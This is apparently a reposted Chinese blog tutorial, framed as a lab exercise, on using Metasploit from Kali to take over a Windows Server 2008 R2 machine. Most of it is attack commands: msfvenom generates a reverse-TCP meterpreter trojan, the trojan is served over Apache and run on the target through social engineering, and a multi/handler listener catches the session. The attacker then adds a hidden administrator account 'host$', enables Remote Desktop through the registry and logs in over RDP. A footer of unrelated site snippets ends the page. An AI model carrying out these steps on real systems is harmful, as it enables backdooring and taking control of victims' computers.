使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)
本文转自:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html
一、kali及Metasploit
kali基于debin的数字取证系统,上面集成很多渗透测试工具,其前身是BT5 R3(BrackTrack),在信息搜集方面发挥很大作用。
Metasploit是一个综合利用工具,极大提高了攻击者的渗透效率;使用Ruby开发;使用非常方便,进入该工具的方式:在终端输入msfconsole;MSF依赖于Postgresql数据库,在使用MSF之前要开启该数据库
二、使用kali中的Metasploit生成木马,控制Windows系统
攻击者:kali 2019.3
靶机:Windows Server 2008 R2
1.首先要保证两个系统之间可以互相ping通

如不能ping通的话
(1)先检查windows和kali的防火墙关闭没有
windows防火墙关闭:系统和安全->Windows防火墙->关闭
kali防火墙关闭:安装:apt-get install ufw
关闭:ufw disable
开启:ufw enable
(2)如果还是不行的话就把虚拟机的网络适配器改为桥接模式
虚拟机->设置->网络适配器->桥接模式
2.生产木马,在攻击者终端操作
1 msfvenom -p windows/meterpreter/reverse_tcp lhost=kali的ip lport=5555 -f exe >/root/Desktop/evilshell.exe
2 -p 参数后跟上payload(载体),攻击成功之后,要做什么事情
3 lhost 后跟监听的IP
4 lport 后跟监听的端口
5 -f 后跟要生成后门文件的类型

- 如果安装的是中文的kali,就把Desktop换成桌面
3.将木马文件evilshell.exe拷贝到/var/www/html,把html目录下的其余文件删除,并开启apache服务(这一部是为了提供一个可以把木马文件下载的平台)
1 cp evilshell.exe /var/www/html 拷贝木马文件到/var/www/html
2 rm -f index.html 删除index.html
3 rm -f insex.nginx-debian.html 删除index.html


4.在靶机上打开浏览器,访问站点http://kali的ip,并下载木马文件,我这里下载到了桌面上,方便操作


5.开启postgresql服务,postgresql的端口号为5432,开启MSF(msfconsole的缩写)
1 /etc/init.d/postgresql status 查看postgresql服务的状态
2 /etc/init.d/postgresql start 开启postgresql服务
3 netstat -ntulp 查看端口
4 msfconsole 开启MSF




- metasploit v5.0.41-dev 版本
- exploits 开发利用,用来攻击某些服务、平台、系统等用到的工具
- payloads 攻击载荷载体,攻击成功之后要操作什么,通过payloads进行操作
6.加载exploits和payloads,查看该模块需要设置的参数
1 msf5>use exploit/multi/handler 选择exploits
2 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 设置payload
3 show options 查看所需设置的参数
- 注:这里的路径要与上面生产木马的payload一致


7.根据上图的需求设置lhost和lport,这里的lhost和lport要和上面生产木马的命令中的lhost和lport一致
1 set lhost kali的IP 设置监听地址
2 set lport 5555 设置监听端口
3 run 或者exploit 运行攻击模块


8.在靶机中双击evilshell.exe(这一步是在靶机中诱导用户点击木马程序,也叫社会工程学攻击),这样在攻击者这里就可以得到靶机的shell(meterpreter)
1 shell 获取目标主机shell
2 ipconfig 测试是否能用,查看靶机的IP地址


- windows环境下中文乱码的解决办法:chcp 437
9.在靶机里加入一个隐藏用户(隐藏用户后面加$),提升隐藏用户的权限,方便我们后续的操作测试
1 net user host$ /add 添加隐藏用户host$
2 net user 查看用户
3 net user host$ 密码 为host$用户设置密码
4 net localgroup administrators host$ /add 将host$用户加入到管理员组中,从而提升权限
5 net user host$ 查看host$用户信息


10.新开一个终端,使用远程桌面连接的靶机,进行操作
rdesktop 靶机的IP 使用远程桌面连接靶机

- 如上图所示,连接失败
解决方法:
方法1:打开上一个终端,开启2003终端服务,查看远程协助的端口是否开启
1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 开启终端服务
2 netstat -ano|finder 3389 查看3389端口

方法2:打开控制面版-->系统-->远程设置,操作如图所示

- 重新连接靶机,连接成功,进入以下界面,是用隐藏用户登录靶机


11.打开靶机的dos命令窗口,若无法在开始中找到dos命令窗口,则按键盘上的开始键+R,在打开的运行中输入cmd,即开启dos命令窗口,添加一个新用户进行测试,添加成功证明渗透成功!

- 如图所示,拒绝访问
解决方法:在路径中C:\Windows\system32查找cmd.exe,右键cmd.exe,选择以管理员身份运行
(也就是用管理员身份运行dos窗口)

使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)的更多相关文章
- 使用Kali中的Metasploit生成木马控制Windows系统
一.概念:Kali基于debin的数字取证系统,上面集成了很多渗透测试工具,其前身是BT5 R3(BtackTrack). 其中Metasploit是一个综合利用工具,极大的提高了攻击者的渗透效率,使 ...
- Kali环境使用Metasploit生成木马入侵安卓手机
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计, ...
- C#实现控制Windows系统关机、重启和注销的方法:
shutdown命令的参数: shutdown.exe -s:关机shutdown.exe -r:关机并重启shutdown.exe -l:注销当前用户 shutdown.exe -s -t 时间:设 ...
- C#实现控制Windows系统关机、重启和注销的方法
shutdown命令的参数: shutdown.exe -s:关机shutdown.exe -r:关机并重启shutdown.exe -l:注销当前用户 shutdown.exe -s -t 时间:设 ...
- Metasploit生成木马入侵安卓手机
开始 首先你需要一个Metasploit(废话) Linux: sudo apt install metasploit-framework Termux: 看这里 指令 sudo su //生成木马文 ...
- 使用kali中的Metasploit通过windows7的永恒之蓝漏洞攻击并控制win7系统(9.27 第十三天)
1.开启postgresql数据库 2.msfconsole 进入MSF中 3.search 17-010 搜索cve17-010相关的exp auxiliary/scanner/smb/smb_ms ...
- 在.NET下使用C# 控制Windows系统音量
C#开发Windows应用程序中经常需要去控制系统的音量,分两种方式: 1.使用Win Api控制 2.使用C++ dll控制 Win Api控制: 使用user32.dll和winmm.dll都可以 ...
- 使用Metasploit渗透攻击windows系统(一)
攻击机:kaili ip:192.168.80.157 目标机:win7 IP:192.168.80.158 这里用两种方法去创建meterpreter会话: 1)利用kali中的msfvenom生成 ...
- metasploit、msfvenom生成木马入侵电脑及手机
简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...
随机推荐
- c++实现线性表中的顺序表(数据结构课程作业)
一.题目简介 实现顺序表的创建.初始化.赋值.插入.删除.按数据查找元素位置.按元素位置查找数据.清空.删除 的操作,以上操作用可用菜单选项完成 二.源程序代码 #include<iostrea ...
- 基于TF-IDF的推荐
仅作学习使用 基于TF-IDF的推荐: 将文档分词 对于每个term,计算词频TF和逆文本指数IDF,形成term的权重 计算项目文档和用户偏好文档的相似度 参考: https://blog.csdn ...
- vscode git 提交数据到分支
1.vscode菜单--终端--新建终端 git config --global user.name "your name" git config --global ...
- ROS学习笔记INF-重要操作列表
该笔记将重要操作的步骤进行列表,以便查询: 添加消息 在包中的msg文件夹中创建msg文件 确保package.xml中的如下代码段被启用: <build_depend>message_g ...
- 《算法技术手册》George T. Heineman(作者)epub+mobi+azw3
内容简介 开发健壮的软件需要高效的算法,然后程序员们往往直至问题发生之时,才会去求助于算法.<算法技术手册>讲解了许多现有的算法,可用于解决各种问题.通过阅读它,可以使您学会如何选择和实现 ...
- 前端学习笔记系列一:3 Vue中的nextTick
一.示例 先来一个示例了解下关于Vue中的DOM更新以及nextTick的作用. 模板 <div class="app"> <div ref="msgD ...
- CF755G PolandBall and Many Other Balls 题解
从神 Karry 的题单过来的,然后自己瞎 yy 了一个方法,看题解区里没有,便来写一个题解 一个常数和复杂度都很大的题解 令 \(dp_{i,j}\) 为 在 \(i\) 个球中选 \(j\) 组的 ...
- visio 2019 激活方法
今日因工作需要使用visio,无奈下载2019版本需要激活,很多功能无法使用,最近在网上发现一个非常简单就是一个本地可执行脚本,本人已亲测完全激活成功,随分享给大家 复制下面代码: @echo off ...
- id 和 class的区别
id 选择器 ID 只能被指定单个元素使用,无法多个元素使用.像你的身份证号,是唯一的,id 选择器以 “#” 来定义.id选择器的优先级高于class选择器的优先级的 # userid { text ...
- jenkins#安装jenkins
1. 访问官网下载地址https://jenkins.io/zh/download/ 2. 选择自己的平台,然后按照文档进行操作: 主要按照文档来,下面是我按照文档按照的一个记录 #访问 https: ...